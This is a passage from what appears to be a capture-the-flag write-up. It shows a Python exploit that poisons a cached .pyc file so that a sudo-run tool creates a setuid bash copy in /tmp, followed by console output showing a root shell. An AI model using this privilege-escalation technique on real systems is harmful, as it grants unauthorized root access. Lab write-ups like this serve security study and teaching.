os.system('cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf')
'''

print('[*] Compiling poisoned source and overwriting .pyc')
code = compile(poisoned_src, BASE_DIR / 'extension_utils.py', 'exec')
pyc.unlink()
pyc.write_bytes(raw_header + marshal.dumps(code))

print('[*] Running extension_tool.py with poisoned .pyc')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

shell = Path('/tmp/0xdf')
if shell.exists():
    print('[+] SetUID / SetGID bash exists. Starting root shell.')
    subprocess.run(['/tmp/0xdf', '-p'])
else:
    print('[-] Exploit failed')

This prints the header info as well:

larry@browsed:/opt/extensiontool$ python3.12 /dev/shm/poison.py
[*] Running extension_tool.py to ensure .pyc files exist
[*] Reading legit header from .pyc
    magic_number: b'\xcb\r\r\n'
    magic_int: 3531
    python_version: 3.12
    bit_field: 0
    pyc_type: PycInvalidationMode.TIMESTAMP
    timestamp: 2025-03-23 10:56:19+00:00
    file_size: 1245
[*] Creating poisoned source code
[*] Compiling poisoned source and overwriting .pyc
[*] Running extension_tool.py with poisoned .pyc
[+] SetUID / SetGID bash exists. Starting root shell.
0xdf-5.2#